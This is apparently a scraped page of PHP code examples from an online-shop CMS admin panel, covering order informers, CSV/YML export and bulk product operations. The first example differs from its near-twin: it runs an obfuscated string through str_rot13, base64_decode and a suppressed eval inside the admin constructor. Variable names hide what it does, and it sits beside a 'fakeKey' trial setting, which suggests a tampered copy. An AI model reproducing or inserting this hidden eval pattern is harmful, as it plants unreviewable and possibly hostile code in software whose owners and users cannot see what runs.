Beispiel #1
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("M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jGSM2IyAkIxIWI1AJIR9cpSISL28lAKEQEx52pIIKL0kXn0cAF1qgoxb5nSM5nzSLE2M0HHEvqSMDGaEJHR50IyOBqUARZSuJHR50IyOBqSMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
Beispiel #2
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $newVer = Updata::checkUpdata(false, true);
         $this->newVersion = $newVer['lastVersion'];
     }
 }
Beispiel #3
0
 /**
  * Выполняет операцию над отмеченными товарами в админке.
  * @return boolean
  */
 public function operationProduct()
 {
     $productModel = new Models_Product();
     $operation = $_POST['operation'];
     if (empty($_POST['products_id'])) {
         $this->messageError = 'Необходимо отметить товары!';
         return false;
     }
     if ($operation == 'delete') {
         foreach ($_POST['products_id'] as $productId) {
             $productModel->deleteProduct($productId);
         }
     } elseif (strpos($operation, 'activity') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $productModel->updateProduct(array('id' => $product, 'activity' => substr($operation, -1, 1)));
         }
     } elseif (strpos($operation, 'recommend') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $productModel->updateProduct(array('id' => $product, 'recommend' => substr($operation, -1, 1)));
         }
     } elseif (strpos($operation, 'new') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $productModel->updateProduct(array('id' => $product, 'new' => substr($operation, -1, 1)));
         }
     } elseif (strpos($operation, 'clone') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $productModel->cloneProduct($product);
         }
     } elseif (strpos($operation, 'delete') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $productModel->deleteProduct($product);
         }
     } elseif (strpos($operation, 'changecur') === 0 && !empty($_POST['products_id'])) {
         foreach ($_POST['products_id'] as $product) {
             $part = explode('_', $operation);
             $iso = str_replace($part[0] . '_', '', $operation);
             $productModel->convertToIso($iso, $_POST['products_id']);
             $this->data['clearfilter'] = true;
             //$result = $model->updateOrder(array('id' => $orderId, 'status_id' => substr($operation, -1, 1)));
         }
     } elseif (strpos($operation, 'getcsv') === 0 && !empty($_POST['products_id'])) {
         $catalogModel = new Models_Catalog();
         $filename = $catalogModel->exportToCsv($_POST['products_id']);
         $this->data['filecsv'] = $filename;
         $this->messageSucces = 'Товары импортированы успешно в файл ' . $filename;
     } elseif (strpos($operation, 'getyml') === 0 && !empty($_POST['products_id'])) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $ymlLib = new YML();
             $filename = $ymlLib->exportToYml($_POST['products_id']);
             $this->data['fileyml'] = $filename;
             $this->messageSucces = 'Товары импортированы успешно в файл ' . $filename;
         } else {
             $this->messageError = 'Отсутствует необходимое PHP расширение: xmlwriter';
         }
     }
     return true;
 }
Beispiel #4
0
<?php

include ROOT_DIR . 'modules/ishop/yml.class.php';
$yml = new YML($this->db);
$yml->d($shop = array('name' => SITE_NAME, 'company' => SITE_NAME, 'url' => SITE_URL));
$yml->get();
exit;